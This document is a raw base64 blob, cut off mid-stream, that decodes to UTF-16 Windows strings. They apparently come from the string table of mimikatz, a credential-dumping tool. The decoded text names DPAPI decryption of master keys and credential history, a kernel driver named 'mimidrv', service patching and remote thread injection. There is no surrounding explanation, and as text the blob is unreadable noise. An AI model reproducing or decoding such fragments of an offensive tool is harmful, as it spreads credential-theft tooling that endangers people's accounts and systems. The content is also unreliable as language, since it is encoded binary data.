TwBVAFAAXwBQAE8ATABJAEMAWQAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAAAAAABQAFIATwBWAF8AYwBuAGcAAAAAAEEAVABfAEsARQBZAEUAWABDAEgAQQBOAEcARQAAAAAAQQBUAF8AUwBJAEcATgBBAFQAVQBSAEUAAAAAAEMATgBHACAASwBlAHkAAABDAEUAUgBUAF8AdQBuAGsAXwBmAHUAdAB1AHIAZQBfAHUAcwBlAAAAQwBFAFIAVABfAHUAbgBrAF8ANgAzAF8AbQBhAHkAYgBlAF8AZgB1AHQAdQByAGUAXwB1AHMAZQAAAAAAQwBFAFIAVABfAHIAZQBzAGUAcgB2AGUAZABfAHAAcgBvAHAAXwBpAGQAAABDAEUAUgBUAF8AdQBzAGUAcgBfAHAAcgBvAHAAXwBpAGQAAABwAHIAbwBtAHAAdABfAHMAdAByAG8AbgBnAAAAcAByAG8AbQBwAHQAXwBvAG4AXwBwAHIAbwB0AGUAYwB0AAAAcAByAG8AbQBwAHQAXwBvAG4AXwB1AG4AcAByAG8AdABlAGMAdAAAAGMAcgBlAGQAXwByAGUAZwBlAG4AZQByAGEAdABlAAAAdgBlAHIAaQBmAHkAXwBwAHIAbwB0AGUAYwB0AGkAbwBuAAAAbgBvAF8AcgBlAGMAbwB2AGUAcgB5AAAAYQB1AGQAaQB0AAAAYwByAGUAZABfAHMAeQBuAGMAAAB1AG4AawBuAG8AdwBuAAAAdQBpAF8AZgBvAHIAYgBpAGQAZABlAG4AAAAAAHIAZQBxAHUAaQByAGUAXwBzAHQAcgBvAG4AZwAAAAAAcwB0AHIAbwBuAGcAAAAAAHIAZQBzAGUAcgB2AGUAZAAAAAAAbwBuAF8AcAByAG8AdABlAGMAdAAAAAAAbwBuAF8AdQBuAHAAcgBvAHQAZQBjAHQAAAAAACUAKgBzACoAKgBCAEwATwBCACoAKgAKAAAAAAAlACoAcwAgACAAZAB3AFYAZQByAHMAaQBvAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAGcAdQBpAGQAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBNAGEAcwB0AGUAcgBLAGUAeQBWAGUAcgBzAGkAbwBuACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABnAHUAaQBkAE0AYQBzAHQAZQByAEsAZQB5ACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABkAHcARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAAAApAAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEQAZQBzAGMAcgBpAHAAdABpAG8AbgBMAGUAbgAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHMAegBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAAgACAAIAAgACAAOgAgACUAcwAKAAAAJQAqAHMAIAAgAGEAbABnAEMAcgB5AHAAdAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAAAAAACUAKgBzACAAIABkAHcAQQBsAGcAQwByAHkAcAB0AEwAZQBuACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBTAGEAbAB0AEwAZQBuACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAGIAUwBhAGwAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABkAHcASABtAGEAYwBLAGUAeQBMAGUAbgAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcABiAEgAbQBhAGMAawBLAGUAeQAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAYQBsAGcASABhAHMAaAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAAAAAAJQAqAHMAIAAgAGQAdwBBAGwAZwBIAGEAcwBoAEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEgAbQBhAGMAMgBLAGUAeQBMAGUAbgAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHAAYgBIAG0AYQBjAGsAMgBLAGUAeQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBEAGEAdABhAEwAZQBuACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAGIARABhAHQAYQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABkAHcAUwBpAGcAbgBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcABiAFMAaQBnAG4AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAoACgAAAAAAJQAqAHMAKgAqAE0AQQBTAFQARQBSAEsARQBZACoAKgAKAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHMAYQBsAHQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAcgBvAHUAbgBkAHMAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAYQBsAGcASABhAHMAaAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAACUAKgBzACAAIABhAGwAZwBDAHIAeQBwAHQAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAJQAqAHMAIAAgAHAAYgBLAGUAeQAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAKgBzACoAKgBDAFIARQBEAEgASQBTAFQAIABJAE4ARgBPACoAKgAKAAAAJQAqAHMAIAAgAGcAdQBpAGQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAKgBzACoAKgBEAE8ATQBBAEkATgBLAEUAWQAqACoACgAAACUAKgBzACAAIABkAHcAUwBlAGMAcgBlAHQATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABkAHcAQQBjAGMAZQBzAHMAYwBoAGUAYwBrAEwAZQBuACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABnAHUAaQBkAE0AYQBzAHQAZQByAEsAZQB5ACAAIAAgACAAOgAgAAAAAAAlACoAcwAgACAAcABiAFMAZQBjAHIAZQB0ACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAAYgBBAGMAYwBlAHMAcwBjAGgAZQBjAGsAIAAgACAAIAA6ACAAAAAAACUAKgBzACoAKgBNAEEAUwBUAEUAUgBLAEUAWQBTACoAKgAKAAAAAAAAAAAAJQAqAHMAIAAgAHMAegBHAHUAaQBkACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAHsAJQAuADMANgBzAH0ACgAAAAAAJQAqAHMAIAAgAGQAdwBGAGwAYQBnAHMAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AE0AYQBzAHQAZQByAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAQgBhAGMAawB1AHAASwBlAHkATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBDAHIAZQBkAEgAaQBzAHQATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEQAbwBtAGEAaQBuAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAWwBtAGEAcwB0AGUAcgBrAGUAeQBdAAoAAAAlACoAcwBbAGIAYQBjAGsAdQBwAGsAZQB5AF0ACgAAACUAKgBzAFsAYwByAGUAZABoAGkAcwB0AF0ACgAAAAAAJQAqAHMAWwBkAG8AbQBhAGkAbgBrAGUAeQBdAAoAAAAlACoAcwAqACoAQwBSAEUARABIAEkAUwBUACoAKgAKAAAAAAAlACoAcwAgACAAZAB3AFYAZQByAHMAaQBvAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABnAHUAaQBkACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABkAHcATgBlAHgAdABMAGUAbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAgAEUATgBUAFIAWQAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBUAHkAcABlACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAJQAqAHMAIAAgAGEAbABnAEgAYQBzAGgAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAAAAlACoAcwAgACAAcgBvAHUAbgBkAHMAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABzAGkAZABMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABhAGwAZwBDAHIAeQBwAHQAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAJQAqAHMAIAAgAHMAaABhADEATABlAG4AIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAbQBkADQATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABTAGEAbAB0ACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABTAGkAZAAgACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABwAFMAZQBjAHIAZQB0ACAAIAAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBiAGwAbwBiACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBiAGwAbwBiACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQBfAHMAZQBzAHMAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQBfAHMAZQBzAHMAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYwByAGUAZABoAGkAcwB0AF8AZQBuAHQAcgB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAbABvAHMAZQBfAGgAcAByAG8AdgBfAGQAZQBsAGUAdABlAF8AYwBvAG4AdABhAGkAbgBlAHIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYwByAGUAZABoAGkAcwB0AF8AZQBuAHQAcgB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAXwBzAGUAcwBzAGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAlAHMAIAA7ACAAAABzAHkAcwB0AGUAbQAAAAAACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgBCAGEAcwBlADYANAAgAG8AZgAgAGYAaQBsAGUAIAA6ACAAJQBzAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAlAGMAAAAAAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAJQAqAHMARABpAHIAZQBjAHQAbwByAHkAIAAnACUAcwAnAAAAIAAoACUAcwApAAAAXAAAACoAAAAuAAAALgAuAAAAAAAlACoAcwAlADMAdQAgACUAYwB8ACcAJQBzACcACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAXwBoAGEAbgBkAGwAZQAgADsAIABEAGUAdgBpAGMAZQBJAG8AQwBvAG4AdAByAG8AbAAgACgAMAB4ACUAMAA4AHgAKQAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABcAFwALgBcAG0AaQBtAGkAZAByAHYAAAAlACoAcwAqACoASwBFAFkAIAAoAGMAYQBwAGkAKQAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAVQBuAGkAcQB1AGUATgBhAG0AZQBMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBTAGkAUAB1AGIAbABpAGMASwBlAHkATABlAG4AIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAaQBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcARQB4AFAAdQBiAGwAaQBjAEsAZQB5AEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBFAHgAUAByAGkAdgBhAHQAZQBLAGUAeQBMAGUAbgAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEgAYQBzAGgATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUwBpAEUAeABwAG8AcgB0AEYAbABhAGcATABlAG4AIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBFAHgARQB4AHAAbwByAHQARgBsAGEAZwBMAGUAbgAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAFUAbgBpAHEAdQBlAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQBTAAoAAAAlACoAcwAgACAAcABIAGEAcwBoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAFMAaQBQAHUAYgBsAGkAYwBLAGUAeQAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAAUwBpAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAgACAAIAAgACAAOgAKAAAAAAAlACoAcwAgACAAcABTAGkARQB4AHAAbwByAHQARgBsAGEAZwAgACAAIAAgACAAIAA6AAoAAAAAACUAKgBzACAAIABwAEUAeABQAHUAYgBsAGkAYwBLAGUAeQAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAARQB4AFAAcgBpAHYAYQB0AGUASwBlAHkAIAAgACAAIAAgACAAOgAKAAAAAAAlACoAcwAgACAAcABFAHgARQB4AHAAbwByAHQARgBsAGEAZwAgACAAIAAgACAAIAA6AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBjAHIAZQBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBwAHIAbwBwAGUAcgB0AGkAZQBzAF8AYwByAGUAYQB0AGUAIAAoAHAAdQBiAGwAaQBjACkACgAAAAAAJQAqAHMAKgAqAEsARQBZACAAKABjAG4AZwApACoAKgAKAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZAB3AFAAdQBiAGwAaQBjAFAAcgBvAHAAZQByAHQAaQBlAHMATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcAUAByAGkAdgBhAHQAZQBQAHIAbwBwAGUAcgB0AGkAZQBzAEwAZQBuADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGQAdwBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAQQByAHIAYQB5AFsAMQA2AF0AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlAC4AKgBzAAoAAAAlACoAcwAgACAAcABQAHUAYgBsAGkAYwBQAHIAbwBwAGUAcgB0AGkAZQBzACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAFAAcgBvAHAAZQByAHQAaQBlAHMAIAAgACAAIAA6AAoAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgACAAIAA6AAoAAAAlACoAcwAqACoASwBFAFkAIABDAE4ARwAgAFAAUgBPAFAARQBSAFQAWQAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUwB0AHIAdQBjAHQATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB0AHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB1AG4AawAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABkAHcAUAByAG8AcABlAHIAdAB5AEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAJQAqAHMAIAAgAHAAUAByAG8AcABlAHIAdAB5ACAAIAAgACAAIAAgACAAOgAgAAAAJQB1ACAAZgBpAGUAbABkACgAcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AbgBlAHQAXwBnAGUAdABEAEMAIAA7ACAARABzAEcAZQB0AEQAYwBOAGEAbQBlADoAIAAlAHUACgAAAGEAAAAiACUAcwAiACAAcwBlAHIAdgBpAGMAZQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlACAAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABRAFcATwBSAEQAAABSAEUAUwBPAFUAUgBDAEUAXwBSAEUAUQBVAEkAUgBFAE0ARQBOAFQAUwBfAEwASQBTAFQAAAAAAEYAVQBMAEwAXwBSAEUAUwBPAFUAUgBDAEUAXwBEAEUAUwBDAFIASQBQAFQATwBSAAAAAABSAEUAUwBPAFUAUgBDAEUAXwBMAEkAUwBUAAAATQBVAEwAVABJAF8AUwBaAAAAAABMAEkATgBLAAAAAABEAFcATwBSAEQAXwBCAEkARwBfAEUATgBEAEkAQQBOAAAAAABEAFcATwBSAEQAAABCAEkATgBBAFIAWQAAAAAARQBYAFAAQQBOAEQAXwBTAFoAAABTAFoAAAAAAE4ATwBOAEUAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAUgB0AGwAQwByAGUAYQB0AGUAVQBzAGUAcgBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABUAGgAIABAACAAJQBwAAoARABhACAAQAAgACUAcAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYQBsAGwAbwBjACAALwAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjA